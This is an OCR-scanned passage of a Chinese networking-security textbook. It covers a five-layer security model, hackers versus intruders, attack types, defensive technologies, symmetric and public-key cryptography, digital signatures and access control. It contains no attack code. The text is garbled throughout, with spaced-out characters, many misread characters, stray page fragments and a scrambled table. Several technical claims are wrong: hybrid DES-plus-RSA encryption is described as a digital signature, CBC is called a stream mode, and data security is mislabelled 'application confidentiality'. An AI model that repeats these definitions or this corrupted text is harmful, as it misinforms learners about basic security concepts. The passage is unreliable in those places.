是 要 由 人 来 操作 和 使 用 的 ,所 以 还 有 一 个 重要 的 安全 问题 就 是 用 户 的 安全 性 。 

在 经 过 系统 和 科学 的 分 析 之 后 ,可 以 得 出 以 下 结论 : 在 考虑 网 络 安全 问题 的 过 程 中 ,应 
该 主要 充分 考虑 以 下 5 个 方面 的 问题 : 网 络 是 否 安全 ? 操作 系统 是 否 安全 ?用 户 是 否 安 
全 ? 应 用 程序 是 否 安全 ,以 及 数据 是 否 安全 ? 

目前 ,这 个 5 层次 的 网 络 系统 安全 体系 理论 已 得 到 了 国际 网 络 安全 界 的 广泛 承认 和 支 
持 , 均 已 将 这 一 安全 体系 理论 应 用 在 其 产品 之 中 。 如 表 1-2 所 示 ,下 面 将 逐一 对 每 一 层 的 安 
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全 问题 做 出 简单 的 阐述 和 分 析 。 

表 1-2 网 络 系统 五 层 安 全 体系 

安全 层次 安全 内 容 
数据 的 安全 性 “| 保证 数据 的 安全 


应 用 程序 的 安 | 应 用 程序 对 数据 的 合法 权限 和 对 用 户 的 合法 
全 性 权限 


用 户 的 安全 性 防止 非法 用 户 使 用 网 络 


保证 客户 资料 ,操作 系统 访问 控制 的 安全 , 防 
止 病毒 和 黑客 对 于 网 络 的 破坏 和 侵入 


网 络 的 安全 性 “| 防止 数据 外 泄 ,保证 数据 传输 的 安全 


密码 技术 


访问 控制 技术 和 进行 身份 认证 


用 户 进 行 分 组 管理 ,进行 身份 认证 


系统 的 安全 性 访问 控制 技术 


防火 墙 技 术 和 VPN( 虚 拟 专 用 网 ) 技 术 


(1) 网 络 的 安全 性 (network integrity) 

网 络 的 安全 性 问题 核心 在 于 网 络 是 否 得 到 控制 , 即 : 是 不 是 任何 一 个 IP 地 址 来 源 的 用 
户 都 能 够 进入 网 络 ? 如 果 将 整个 网 络 比 作 一 幢 办 公 大 楼 的 话 ,对 于 网 络 层 的 安全 考虑 就 如 
同 为 大 楼 设置 守门 人 一 样 。 守 门人 会 仔细 察看 每 一 位 来 访 者 ,一旦 发 现 危 险 的 来 访 者 , 便 会 
将 其 拒 之 门 外 。 

通过 网 络 通道 对 网 络 系统 进行 访问 的 时 候 , 每 一 个 用 户 都 会 拥有 一 个 独立 的 IP 地 址 ， 
这 一 IP 地址 能 够 大 致 表明 用 户 的 来 源 所 在 地 和 来 源 系 统 。 目 标 网 站 通过 对 来 源 IP 进行 分 
析 , 便 能 够 初步 判断 来 自 这 一 IP 地 址 的 数据 是 否 安全 ,是 否 会 对 本 网 络 系统 造成 危害 ,以 及 
来 自 这 一 IP 的 用 户 是 否 有 权 使 用 本 网 络 的 数据 。 一 旦 发 现 某 些 数据 来 自 不 可 信任 的 IP 地 
址 ,系统 便 会 自动 将 这 些 数据 阻挡 在 系统 之 外 。 并 且 大 多 数 系统 能 够 自动 记录 那些 曾经 造 
成 过 危害 的 IP 地 址 ,使 得 它们 的 数据 将 无 法 第 二 次 造成 危害 。 

用 于 解决 网 络 层 安 全 性 问题 的 产品 主要 有 防火 墙 产 品 和 虚拟 专用 网 (VPN)。 防 火 墙 
的 主要 目的 在 于 判断 来 源 IP, 将 危险 或 未 经 授权 的 IP 数据 拒 之 于 系统 之 外 ,而 只 让 安全 的 
IP 数据 通过 。 一 般 来 说 ,公司 的 内 部 网 络 若 要 与 公众 Internet 相连 , 则 应 该 在 二 者 之 间 配 
置 防 火 墙 产品 ,以 防止 公司 内 部 数据 的 外 泄 。VPN 主要 解决 的 是 数据 传输 的 安全 问题 ,如 
果 公 司 各 部 在 地 域 上 跨度 较 大 ,使 用 专 网 .专线 过 于 昂贵 , 则 可 以 考虑 使 用 VPN。 其 目的 在 
于 保证 公司 内 部 的 敏感 关键 数据 能 够 安全 地 借助 公共 网 络 进行 频繁 的 交换 。 

(2) 系统 的 安全 性 (system integrity) 

在 系统 安全 性 问题 中 ,主要 考虑 的 问题 有 两 个 : 一 是 病毒 对 于 网 络 的 威胁 ;二 是 黑客 对 
于 网 络 的 破坏 和 侵入 。 

病毒 的 主要 传播 途径 已 由 过 去 的 软盘 .光盘 等 存储 介质 变 成 了 网 络 ,多 数 病毒 不 仅 能 够 
直接 感染 网 络 上 的 计算 机 ,也 能 够 将 自身 在 网 络 上 进行 复制 。 同 时 ,电子 邮件 .文件 传输 
(FTP) 以 及 网 络 页 面 中 的 恶意 Java 小 程序 和 Active X 控件 ,甚至 文档 文件 都 能 够 携带 对 网 
络 和 系统 有 破坏 作用 的 病毒 。 这 些 病 毒 在 网 络 上 进行 传播 和 破坏 的 多 种 途径 和 手段 ,使 得 
网 络 环境 中 的 防 病 毒 工 作 变 得 更 加 复杂 ,网 络 防 病毒 工具 必须 能 够 针对 网 络 中 各 个 可 能 的 
病毒 入 口 来 进行 防护 。 

对 于 网 络 黑客 而 言 ,他 们 的 主要 目的 在 于 穷 取 数据 和 非法 修改 系统 ,其 手段 之 一 是 欠 取 
合法 用 户 的 口令 ,在 合法 身份 的 掩护 下 进行 非法 操作 ;其 手段 之 二 便 是 利用 网 络 操作 系统 的 

让 六 六 志 


某 些 合法 但 不 为 系统 管理 员 和 合法 用 户 所 熟知 的 操作 指令 。 例 如 在 UNIX 系统 的 默认 安 
装 过 程 中 ,会 自动 安装 大 多 数 系 统 指令 。 据 统计 ,其 中 大 概 有 300 个 指令 是 大 多 数 合法 用 户 
所 根本 不 会 使 用 的 ,但 这 些 指令 往往 会 被 黑客 所 利用 。 

要 弥补 这 些 漏洞 ,就 需要 使 用 专门 的 系统 风险 评估 工具 ,来 帮助 系统 管理 员 找 出 哪些 指 
令 是 不 应 该 安装 的 ,哪些 指令 是 应 该 缩小 其 用 户 使 用 权限 的 。 在 完成 了 这 些 工 作 之 后 ,操作 
系统 自身 的 安全 性 问题 将 在 一 定 程度 上 得 到 保障 。 

(3) 用 户 的 安全 性 (user integrity) 

对 于 用 户 的 安全 性 问题 ,所 要 考虑 的 问题 是 : 是 否 只 有 那些 真正 被 授权 的 用 户 才能 够 
使 用 系统 中 的 资源 和 数据 ? 

首先 要 做 的 是 应 该 对 用 户 进行 分 组 管理 ,并 且 这 种 分 组 管理 应 该 是 针对 安全 性 问题 而 
考虑 的 分 组 。 也 就 是 说 ,应 该 根据 不 同 的 安全 级 别 将 用 户 分 为 若干 等 级 ,每 一 等 级 的 用 户 只 
能 访问 与 其 等 级 相对 应 的 系统 资源 和 数据 。 

其 次 应 该 考虑 的 是 强 有 力 的 身份 认证 ,其 目的 是 确保 用 户 的 密码 不 会 被 他 人 所 猜测 到 。 

在 大 型 的 应 用 系统 之 中 ,有 时 会 存在 多 重 的 登录 体系 ,用 户 如 需 进入 最 高 层 的 应 用 , 往 
往 需 要 多 次 输入 多 个 不 同 的 密码 ,如果 管理 不 严 ,多 重 密码 的 存在 也 会 造成 安全 问题 上 的 漏 
洞 。 所 以 在 某 些 先进 的 登录 系统 中 ,用 户 只 需要 输入 一 个 密码 ,系统 就 能 够 自动 识别 用 户 的 
安全 级 别 , 从 而 使 用 户 进 入 不 同 的 应 用 层次 。 这 种 单一 登录 体系 要 比 多 重 登 录 体 系 能 够 提 
供 更 大 的 系统 安全 性 。 

(4) 应 用 程序 的 安全 性 (application integrity) 

在 这 一 层 中 需要 考虑 的 问题 是 : 是 否 只 有 合法 的 用 户 才 能 够 对 特定 的 数据 进行 合法 的 
操作 ? 

这 其 中 涉及 两 个 方面 的 问题 : 一 是 应 用 程序 对 数据 的 合法 权限 ;二 是 应 用 程序 对 用 户 
的 合法 权限 。 例 如 在 公司 内 部 ,上 级 部 门 的 应 用 程序 应 该 能 够 存 取 下 级 部 门 的 数据 ,而 下 级 
部 门 的 应 用 程序 一 般 不 应 该 允许 存 取 上 级 部 门 的 数据 。 同 级 部 门 的 应 用 程序 的 存 取 权限 也 
应 有 所 限制 ,例如 同一 部 门 不 同业 务 的 应 用 程序 也 不 应 该 互相 访问 对 方 的 数据 ,一 方面 可 以 
避免 数据 的 意外 损坏 , 另 一 方面 也 是 安全 方面 的 考虑 。 

(5) 数据 的 安全 性 (application confidentiality) 

数据 的 安全 性 问题 所 要 考虑 的 问题 是 : 机 密 数据 是 否 还 处 于 机 密 状态 ? 

在 数据 的 保存 过 程 中 ,机 密 的 数据 即使 处 于 安全 的 空间 ,也 要 对 其 进行 加 密 处 理 , 以 保 
证 万 一 数据 失 穷 ,偷盗 者 (如 网 络 黑客 ) 也 读 不 懂 其 中 的 内 容 。 这 是 一 种 比较 被 动 的 安全 手 
段 ,但 往往 能 够 收 到 最 好 的 效果 。 

上 述 的 五 层 安 全 体系 并 非 孤 立 分 散 。 如 果 将 网 络 系统 比 作 一 幢 办 公 大 楼 的 话 ,门卫 就 
相当 于 对 网 络 层 的 安全 性 考虑 ,他 负责 判断 每 一 位 来 访 者 是 否 能 够 被 允许 进入 办 公 大 楼 ,发 
现 具有 和 危险 性 的 来 访 者 则 将 其 拒 之 门 外 , 而 不 是 让 所 有 人 都 能 够 随意 出 入 。 操 作 系 统 的 安 
全 性 在 这 里 相当 于 整个 大 楼 的 办 公制 度 ,办 公 流 程 的 每 一 环节 紧密 相连 , 环 环 相 扣 ,不 让 外 
人 有 可 乘 之 机 。 如 果 对 整个 大 楼 的 安全 性 有 更 高 的 要 求 的 话 , 还 应 该 在 每 一 楼 层 中 设置 警 
卫 , 办 公 人 员 只 能 进入 相应 的 楼 层 , 而 如 果 要 进入 其 他 楼 层 , 则 需要 获得 相应 的 权限 ,这 实际 
是 对 用 户 的 分 组 管理 ,类 似 于 网 络 系统 中 对 于 用 户 安全 问题 的 考虑 。 应 用 程序 的 安全 性 在 
这 里 相当 于 部 门 与 部 门 间 的 分 工 , 每 一 部 门 只 做 自己 的 工作 ,而 不 会 干扰 其 他 部 门 的 工作 。 

二 


数据 的 安全 性 则 类 似 于 使 用 保险 柜 来 存放 机 密 文件 ,即使 窃贼 进入 了 办 公 室 ,也 很 难 将 保险 
柜 打 开 , 取 得 其 中 的 文件 。 

这 些 办 公制 度 其 实 早已 被 人 们 所 熟悉 ,而 将 其 运用 在 网 络 系统 中 , 便 是 前 面 所 述 的 五 层 
网 络 安全 体系 。 


1.4 网 络 安全 技术 


计算 机 网 络 安全 是 一 门 涉及 计算 机 科学 、 网 络 技术 ,通信 技术 、 密 码 技术 、 信 息 安 全 技 
术 ` 应 用 数学 ,数论 .信息论 等 多 种 学 科 的 综合 性 学 科 。 它 主要 是 指 网 络 系统 的 硬件 、 软 件 及 
其 系统 中 的 数据 受到 保护 ,不 受 偶然 的 或 者 恶意 的 原因 而 遭 到 破坏 、 更 改 、 汇 露 ,系统 连续 可 
靠 正 常 地 运行 ,网 络 服务 不 中 断 。 

计算 机 网 络 安全 从 其 本 质 上 来 讲 就 是 网 络 上 的 信息 安全 。 从 广义 来 说 ,凡是 涉及 网 络 
上 信息 的 保密 性 、 完 整 性 .可 用 性 真实 性 和 可 控 性 的 相关 技术 和 理论 都 是 网 络 安全 的 研究 
领域 。 

计算 网 络 的 安全 包含 两 方面 的 内 容 : 一 方面 保护 网 络 数据 和 程序 等 资源 ,以 免 受 到 有 
意 或 无 意 的 破坏 或 越权 修改 与 占用 , 称 为 访问 技术 ; 另 一 方面 ,为 维护 用 户 的 自身 利益 对 某 
些 资源 或 信息 进行 加 密 的 密码 技术 。 

下 面 针 对 这 两 方面 的 内 容 介绍 与 计算 机 网 络 安全 有 关 的 常用 网 络 安全 技术 .密码 技术 、 
数字 签名 和 访问 控制 技术 等 基本 概念 。 


1.4.1 什么 是 黑客 


黑客 是 英文 hacker 的 译音 ,原意 为 热衷 于 电脑 程序 的 设计 者 , 指 对 于 任何 计算 机 操作 
系统 的 奥秘 都 有 强烈 兴趣 的 人 。 黑 客 大 都 是 程序 员 , 他 们 具有 操作 系统 和 编程 语言 方面 的 
高 级 知识 ,知道 系统 中 的 漏洞 及 其 原因 所 在 ;他 们 不 断 追 求 更 深 的 知识 ,并 公开 他 们 的 发 现 ， 
与 其 他 人 分 享 , 并 且 从 来 没有 破坏 数据 的 企图 。 黑 客 在 微观 的 层次 上 考察 系统 ,发 现 软件 漏 
洞 和 逻辑 缺陷 ,他 们 编程 去 检查 软件 的 完整 性 。 黑 客 出 于 改进 的 愿望 ,编写 程序 去 检查 远程 
机 器 的 安全 体系 ,这 种 分 析 过 程 是 创造 和 提高 的 过 程 。 

他 们 遵从 的 信念 是 : 计算 机 是 大 众 的 工具 ,信息 属于 每 个 人 , 源 代码 应 当 共 享 ,编码 是 
艺术 ,计算 机 是 有 生命 的 。 

入 侵 者 (攻击 者 ) 指 怀 着 不 良 的 企图 , 奖 入 甚至 破坏 远程 机 器 系统 完整 性 的 人 。 入 侵 者 
利用 获得 的 非法 访问 权 , 破 坏 重要 数据 ,拒绝 合法 用 户 服务 请 求 , 或 为 了 自己 的 目的 故意 制 
造 麻 烦 。 入 侵 者 的 行为 是 恶意 的 。 入 侵 者 可 能 技术 水 平 很 高 ,也 可 能 是 个 初学 者 。 

有 些 人 可 能 既是 黑客 ,也 是 入 侵 者 ,这 种 人 的 存在 模糊 了 对 这 两 类 群体 的 划分 。 而 在 大 
多 数 人 的 眼 里 ,黑客 就 是 入 侵 者 。 在 以 后 的 讨论 中 不 再 区 分 黑客 与 人 侵 者 ,将 他 们 视 为 同 
一 类 。 
黑客 指 利用 通信 软件 ,通过 网 络 非法 进入 他 人 系统 ,截获 或 算 改 计算 机 数据 ,危害 信息 
安全 的 电脑 入 侵 者 或 人 侵 行为 。 随 着 计算 机 网 络 在 政府 、 军 事 、 人 金融、 医疗 卫生 、 交 通 、 电 力 
等 各 个 领域 发 挥 的 作用 越 来 越 大 ,黑客 的 各 种 破坏 活动 也 随 之 猩 狐 。 
黑客 们 或 者 通过 猜测 程序 对 截获 的 用 户 账 号 和 口令 进行 破译 ,以 便 进 入 系统 后 做 更 进 
。 24 。 


一 步 的 操作 ;或 者 利用 服务 器 对 外 提供 的 某 些 服务 进程 的 漏洞 获取 有 用 信息 .进入 系统 ;或 
者 利用 网 络 和 系统 本 身 存在 的 或 设置 错误 引起 的 薄弱 环节 和 安全 漏洞 ,进而 实施 如 安放 特 
洛 伊 木 马 的 电子 引诱 ,以 获取 进一步 的 有 用 信息 ;或 者 通过 系统 应 用 程序 的 漏洞 获得 用 户口 
令 , 侵 入 系统 ;当然 绕 过 防火 墙 进入 系统 更 是 他 们 的 拿手 好 戏 。 政 府 ,军事 、 邮 电 和 金融 网 络 
是 他 们 攻击 的 主要 目标 。 尤 其 是 我 国 的 许多 网 络 在 建 网 初期 较 少 或 者 根本 就 没有 考虑 安全 
防范 措施 ,网 络 交付 使 用 后 ,网 络 系统 管理 员 的 管理 水 平 又 不 能 及 时 跟 上 , 留 下 了 许多 安全 
隐患 ,给 黑客 人 侵 造 成 许多 可 乘 之 机 。 黑 客 只 需要 一 台 计 算 机 ,一 条 电话 线 , 一 个 调制 解 调 
器 就 可 以 远 距 离 作案 。 据 统计 ,几乎 每 20 秒 全 球 就 有 一 起 黑客 事件 发 生 , 仅 美国 每 年 所 造 
成 的 经 济 损失 就 超过 100 亿美 元 。 

由 于 信息 犯罪 属 跨国 界 的 高 技术 犯罪 ,要 用 现 有 的 法 律 来 有 效 地 防范 十 分 困难 , 现 有 的 


高 科技 黑客 防范 手段 由 于 没有 大 面积 推广 也 只 能 望 黑 兴叹 。 如 何 建构 安全 网 络 和 信息 系统 
便 成 为 当前 热点 。 


1.4.2 常用 的 网 络 安全 技术 


计算 机 网 络 上 的 通信 和 总 的 来 说 面临 以 下 4 种 威胁 : 

。 截获 : 攻击 者 从 网 络 上 窃听 他 人 的 通信 内 容 。 

。 中 断 : 攻击 者 有 意 中 断 他 人 的 网 络 通信 。 

。 货 改 : 攻击 者 故意 算 改 网 络 上 传送 的 信息 。 

。 伪造 : 攻击 者 伪造 信息 在 网 络 上 传送 。 

这 4 种 威胁 可 划分 为 两 大 类 : 主动 攻击 和 被 动 攻击 ,其 中 截获 属于 被 动 攻 击 , 而 中 断 、 
算 改 和 伪造 属于 主动 攻击 。 

网 络 安全 技术 可 根据 入 侵 者 对 系统 网 络 采取 主动 攻击 和 被 动 攻击 的 方式 分 为 主动 防御 
技术 和 被 动 防御 技术 。 

1. 主动 防御 技术 

主动 防御 技术 一 般 采 用 数据 加 密 、 身 份 验证 , 存 取 控制 ,授权 和 虚拟 网 络 的 划分 等 方法 。 

(1) 数据 加 密 

密码 技术 被 认为 是 解决 网 络 安全 问题 的 最 好 途径 。 目 前 对 数据 最 为 有 效 的 保护 手段 就 
是 加 密 。 

(2) 身份 验证 

身份 验证 是 一 致 性 验证 的 一 种 。 验 证 是 建立 一 致 性 证 明 的 一 种 手段 。 身 份 验证 包括 验 
证 依据 、 验 证 系统 和 安全 要 求 。 

(3) 存 取 控制 

存 取 控制 规定 何 种 主体 对 何 种 客体 具有 何 种 操作 权力 。 存 取 控 制 是 内 部 网 络 安 全 理论 
的 重要 方面 ,主要 包括 人 员 限 制 , 数 据 标识 、 权 限 控制 、 控 制 类 型 和 风险 分 析 等 。 

(4) 授权 

即 用 户 需 要 控制 哪些 用 户 访 问 网 络 的 资源 ,它们 能 够 对 资源 进行 何 种 操作 。 

(5) 虚拟 网 络 技术 

即使 用 VPN( 虚 拟 专用 网 ) 或 VLAN( 虚 拟 局 域 网 络 ) 技 术 。 通 过 物理 网 络 的 划分 ,控制 
网 络 流量 的 流向 ,使 其 不 要 流向 非法 用 户 ,以 达到 防范 目的 。 
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2. 被 动 防御 技术 
被 动 防御 技术 目前 有 防火 墙 技术 .安全 扫描 器 、 密 码 检查 器 . 记 账 服务 .路 由 过 滤 、 物 理 
及 管理 安全 等 技术 。 
(1) 防火 墙 技术 
防火 墙 是 内 部 网 与 Internet 之 间 实 施 安全 防范 的 系统 ,可 被 认为 是 一 种 访问 控制 机 制 ， 
用 于 确定 哪些 内 部 服务 允许 外 部 访问 ,以 及 哪些 外 部 服务 允许 内 部 访问 。 
(2) 安全 扫描 器 
可 自动 检测 远程 或 本 地 主机 安全 性 弱 的 程序 ,用 于 观察 网 络 是 否 正常 工作 ,收集 主机 的 
息 。 
(3) 密码 检查 器 
通过 口令 验证 程序 检查 薄弱 的 口令 。 
(4) 记 账 服务 
在 系统 中 保留 一 个 日 志文 件 ,与 安全 相关 的 事件 可 以 记 在 日 志文 件 中 ,以便 事后 调查 和 
分 析 , 追 查 有 关 责 任 者 ,发现 系统 安全 的 弱点 和 人 侵 点 。 
(5) 路 由 过 滤 
路 由 器 中 的 过 滤器 对 所 接收 的 每 一 个 数据 包 根据 包 过 滤 规 则 做 出 允许 或 拒绝 的 决定 。 
(6) 物理 及 管理 安全 
通过 制定 规章 制度 和 条 例 减少 人 为 因素 的 影响 。 
在 本 书 中 主要 介绍 密码 技术 身份 认证 和 防火 墙 技术 .访问 控制 ,人 侵 检 测 和 蜜 饶 技 术 。 


1.4.3 密码 技术 


用 户 在 网 络 的 信道 上 相互 通信 ,其 主要 危险 是 被 非法 窃听 。 例 如 ,采用 搭 线 窃 听 , 对 线 
路 上 传输 的 信息 进行 截获 ;采用 电磁 窃听 ,对 用 无 线 电 传输 的 信息 进行 截获 等 。 因 此 ,对 网 
络 传输 的 报 文 进行 数据 加 密 ,是 一 种 很 有 效 的 反 窃 听 手 段 。 通 常 是 采用 一 定 算 法 对 原文 进 
行 软 加 密 ,然后 将 密码 电文 进行 传输 ,即使 被 截获 ,一 般 也 是 一 时 难以 破译 的 。 

密码 技术 是 保护 信息 安全 的 主要 手段 之 一 , 它 是 结合 数学 .计算 机 科学 .电子 与 通信 等 
诸多 学 科 于 一 身 的 交叉 学 科 。 它 不 仅 具 有 信息 加 密 功 能 ,而 且 具 有 数字 签名 .身份 验证 、 秘 
密 分 存 、 系 统 安全 等 功能 。 所 以 ,使 用 密码 技术 不 仅 可 以 保证 信息 的 机 密 性 ,而 且 可 以 保证 
信息 的 完整 性 和 正确 性 ,防止 信息 被 算 改 、 伪 造 或 假冒 。 

密码 学 包括 密码 编码 学 和 密码 分 析 学 。 密 码 体制 的 设计 是 密码 编码 学 的 主要 内 容 , 密 
码 体制 的 破译 是 密码 分 析 学 的 主要 内 容 。 密 码 编码 技术 和 密码 分 析 技 术 是 相互 依存 .相互 
支持 、 密 不 可 分 的 两 个 方面 。 

密码 学 不 仅仅 是 编码 与 破译 的 学 问 ,而 且 包括 安全 管理 .安全 协议 设计 、 秘 密 分 存 、 散 列 
函数 等 内 容 。 到 目前 为 止 , 密 码 学 中 出 现 了 大 量 的 新 技术 和 新 概念 ,例如 , 零 知 识 证 明 技术 、 
育 签 名 、 比 特 承诺 .遗忘 传递 .数字 化 现金 .量子 密码 技术 ,混沌 密码 等 。 

按 计算 机 密码 学 的 发 展 历史 来 分 ,密码 学 的 发 展 可 以 分 为 两 个 阶段 : 第 一 个 阶段 是 计 
算 机 出 现 之 前 的 4000 年 ( 早 在 4000 年 前 , 古 埃 及 就 开始 使 用 密码 传递 消息 ) ,这 是 传统 密码 
学 阶段 ,基本 上 靠 人 工 对 消息 加 密 、 传 输 和 防 破译 。 第 二 阶段 是 计算 机 密码 学 阶段 。 它 又 可 
以 细 分 为 两 个 阶段 。 第 一 阶段 称 为 传统 方法 的 计算 机 密码 学 阶段 。 此 时 ,计算 机 密码 工作 

a 汤 了 人 


一 
llk 


者 继续 沿用 传统 密码 学 的 基本 观念 , 那 就 是 : 解密 是 加 密 的 简单 逆 过 程 ,两 者 所 用 的 密 钥 是 
可 以 简单 地 互相 推导 的 ,因此 无 论 加 密 密 钥 还 是 解密 密 钥 都 必须 严格 保密 。 这 种 方案 用 于 
集中 式 系统 是 行 之 有 效 的 。 计 算 机 密码 学 的 第 二 个 阶段 ,包括 两 个 方向 : 一 个 方向 是 公开 
密 钥 密码 (RSA) ; 另 一 个 方向 是 传统 方法 的 计算 机 密码 体制 一 一 数据 加 密 标准 (DES) 。 

1. 传统 的 加 密 算法 

在 传统 的 加 密 算法 中 ,加 密 密 钥 与 解密 密 钥 是 相同 的 ,或 者 可 以 由 其 中 一 个 推 知 男 一 
个 , 称 为 对 称 密 钥 算 法 。 这 样 的 密 钥 必须 秘密 保管 ,只 能 为 授权 用 户 所 知 , 授 权 用 户 既 可 以 
用 该 密 钥 加 密 信息 ,也 可 以 用 该 密 钥 解密 信息 。 

在 早期 的 密 钥 密码 体制 中 ,典型 的 有 代替 密码 。 由 于 英文 字母 中 各 字母 出 现 的 频 度 早 
已 有 人 进行 过 统计 ,所 以 根据 字母 频 度 表 可 以 很 容易 对 这 种 代替 密码 进行 破译 。 

2. 数据 加 密 标 准 DES 和 AES 

DES 是 对 称 加 密 算法 中 最 具 代表 性 的 。DES 算法 原 是 IBM 公司 为 保护 产品 的 机 密 研 
制 成 功 的 ,后 被 美国 国家 标准 局 和 国家 安全 局 选 为 数据 加 密 标准 ,并 于 1977 年 颁布 使 用 。 
DES 可 以 对 任意 长 度 的 数据 加 密 , 实 际 可 用 密 钥 长 度 56 比特 ,加 密 时 首先 将 数据 分 为 64 比特 
的 数据 块 ,采用 ECB,CBC,CFB 等 模式 之 一 ,每 次 将 输入 的 64 比特 明文 变换 为 64 比特 密 
文 。 最 终 , 将 所 有 输出 数据 块 合并 ,实现 数据 加 密 。 其 中 ECB(electronic code book ,电码 
本 ) 是 数据 块 加 密 模 式 , 每 个 数据 块 之 间 的 加 密 是 独立 的 ;CBC(cipher block chaining ,密码 
分 组 链接 ) 和 CFB(cipher feedback, 密 码 反 馈 ) 是 数据 流 加 密 模 式 , 且 CBC,CFB 采用 带 反 馈 
的 加 密 , 其 数据 块 之 间 的 加 密 不 再 独立 ,加 密 后 的 密 文 前 部 分 用 来 参与 报 文 后 面部 分 的 加 
密 , 其 保密 抗 分 析 破 译 性 能 明显 优 于 ECB 模式 。 

DES 的 保密 性 仅 取决 于 对 密 钥 的 保密 ,而 算法 是 公开 的 。DES 内 部 的 复杂 结构 是 至 今 
没有 找到 捷径 破译 方法 的 根本 原因 。 

三 重 DES 加 密 技 术 拓 展 了 DES 加 密 技 术 的 密 钥 长 度 和 使 用 次 数 ,使 得 加 密 更 加 复杂 。 
该 方法 可 以 使 用 两 个 或 者 三 个 密 钥 ,对 数据 进行 三 次 加 密 。 这 也 是 一 种 可 以 在 硬件 上 实现 
的 加 密 算法 ,执行 效率 较 高 。 

高 级 加 密 标准 AES 是 21 世纪 的 加 密 标准 ,AES 是 一 个 迭代 的 、 对 称 密 钥 分 组 的 密码 ， 
它 可 以 使 用 128,192 或 256 位 密 钥 ,并 且 用 128 位 (16 字 节 ) 分 组 加 密 和 解密 数据 。 密 钥 长 
度 的 可 变性 使 得 该 加 密 算法 变 得 更 加 复杂 ,该 算法 还 能 同时 支持 软件 和 硬件 两 种 实现 方式 ， 
得 到 了 广泛 的 应 用 。 

3. 公开 密 钥 密码 体制 

公开 密 钥 密码 体制 最 主要 的 特点 就 是 加 密 和 解密 使 用 不 同 的 密 钥 ,每 个 用 户 保 存 着 一 
对 密 钥 一 一 公开 密 钥 PK 和 秘密 密 钥 SK, 因 此 ,这 种 体制 又 称 为 双 钥 或 非 对 称 密 钥 密码 体 
制 。 在 公 钥 加 密 算 法 下 , 公 钥 是 公开 的 ,任何 人 可 以 用 公 钥 加 密 信息 ,再 将 密 文 发 送 给 私 钥 
拥有 者 ; 私 钥 是 保密 的 ,用 于 解密 其 接收 的 公 钥 加 密 过 的 信息 。 典 型 的 公 钥 加 密 算 法 如 
RSA ,是 目前 使 用 比较 广泛 的 加 密 算法 。 在 互联 网 上 的 数据 安全 传输 , 如 Netscape 
Navigator 和 Microsoft Internet Explorer 都 使 用 了 该 算法 。RSA 算法 建立 在 大 数 因 子 分 
解 的 复杂 性 上 。RSA 的 保密 性 在 于 大 数 的 分 解难 度 上 ,如果 大 数 分 解 成 功 , 则 RSA 也 就 无 
保密 性 可 言 了 。 

传统 加 密 算 法 的 优点 是 有 很 强 的 保密 强度 , 且 能 经 受 住 时 间 的 检验 和 攻击 ,但 其 密 钥 必 
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须 通过 安全 的 途径 传送 。 因 此 ,其 密 钥 管理 成 为 系统 安全 的 重要 因素 。 

公开 密 钥 密码 体制 的 优点 是 可 以 适应 网 络 的 开放 性 要 求 , 且 密 钥 管理 问题 也 较为 简单 ， 
尤其 可 方便 地 实现 数字 签名 和 验证 。 但 其 算法 复杂 ,加 密 数 据 的 速率 较 低 。 尽 管 如 此 , 随 着 
现代 电子 技术 和 密码 技术 的 发 展 , 公 开 密 钥 密码 算法 将 是 一 种 很 有 前 途 的 网 络 安全 加 密 
体制 。 

当然 在 实际 应 用 中 ,人 们 通常 将 传统 的 加 密 算 法 和 公开 密 钥 密码 体制 结合 在 一 起 使 用 ， 
比如 利用 加 密 标准 DES 来 加 密 信息 ,而 采用 RSA 来 传递 会 话 密 钥 。 如 果 按 照 每 次 加 密 所 
处 理 的 比特 来 分 类 ,可 以 将 加 密 算 法 分 为 序列 密码 和 分 组 密码 。 前 者 每 次 只 加 密 一 个 比特 
而 后 者 则 先 将 信息 序列 分 组 ,每 次 处 理 一 个 组 。 

信息 加 密 的 目的 是 保护 网 内 的 数据 文件 .口令 和 控制 信息 ,保护 网 上 传输 的 数据 。 网 
络 加 密 常用 的 方法 有 和 链 路 加 密 、 端 - 端 加 密 和 节点 加 密 3 种 。 链 路 加 密 的 目的 是 保护 网 络 节 
点 之 间 的 链 路 信息 安全 ; 端 - 端 加 密 的 目的 是 对 源 端 用 户 到 目的 端 用 户 的 数据 提供 保护 ; 节 
点 加 密 的 目的 是 对 源 节 点 到 目的 节点 之 间 的 传输 链 路 提供 保护 。 用 户 可 根据 网 络 情况 酌情 
选择 上 述 加 密 方式 。 

密码 技术 是 网 络 安全 最 有 效 的 技术 之 一 。 一 个 加 密 网 络 , 不 但 可 以 防止 非 授 权 用 户 的 
搭 线 窃 听 和 和 网, 而且 也 是 对 付 恶 意 软件 的 有 效 方法 之 一 。 


1.4.4 数字 签名 


如 今 , 大 多 数 电子 交易 采用 两 个 密 钥 即 公开 密 钥 PK 和 秘密 密 钥 SK 加 密 : 发 送 数据 
时 ,将 发 送 的 数据 采用 传统 的 加 密 方法 (如 DES 算法 ) 得 到 的 密 文 和 用 来 解码 的 密 钥 一 起 发 
送 ,但 发 送 的 密 钥 本 身 必须 用 公开 密 钥 密码 算法 中 的 公开 密 钥 PK 加 密 , 到 目的 地 后 先 令 一 
个 密 钥 SK 来 解 开 传统 加 密 方法 中 的 密 钥 ,再 用 该 密 钥 解 开 密 文 。 这 种 组 合 加 密 被 称 为 数 
字 签 名 , 它 有 可 能 成 为 未 来 电子 商业 中 首选 的 安全 技术 。 

美国 政府 有 一 个 自己 的 数字 签名 标准 DSS(Cdigital signature standard) ,使 用 了 Secure 
Hash 运算 法 则 。 用 该 法 则 对 信息 处 理 , 可 得 到 一 个 160 位 (bit) 的 数字 ,把 这 个 数字 与 信息 
的 密 钥 以 某 种 方式 组 合 起 来 ,从 而 得 到 数字 签名 。 

以 往 的 书信 或 文件 是 根据 亲笔 签名 或 印章 来 证 明 其 真实 性 的 。 在 计算 机 网 络 中 传送 的 
报 文 则 是 由 数字 签名 来 证 明 其 真实 性 。 

数字 签名 的 特点 如 下 。 

(1) 接收 者 能 够 核实 发 送 者 对 报 文 的 签名 。 

(2) 发 送 者 事后 不 能 抵赖 对 报 文 的 签名 。 

(3) 接收 者 不 能 伪造 对 报 文 的 签名 。 

一 般 采 用 公开 密 钥 算法 实现 数字 签名 。 


1.4.5 访问 控制 技术 


访问 控制 是 指 对 网 络 中 的 某 些 资源 的 访问 要 进行 控制 ,只 有 被 授予 特权 的 用 户 , 才 有 资 

格 并 有 可 能 去 访问 有 关 的 数据 或 程序 。 例 如 ,数据 库 中 保存 了 一 些 机 密 资料 , 则 只 有 少数 被 

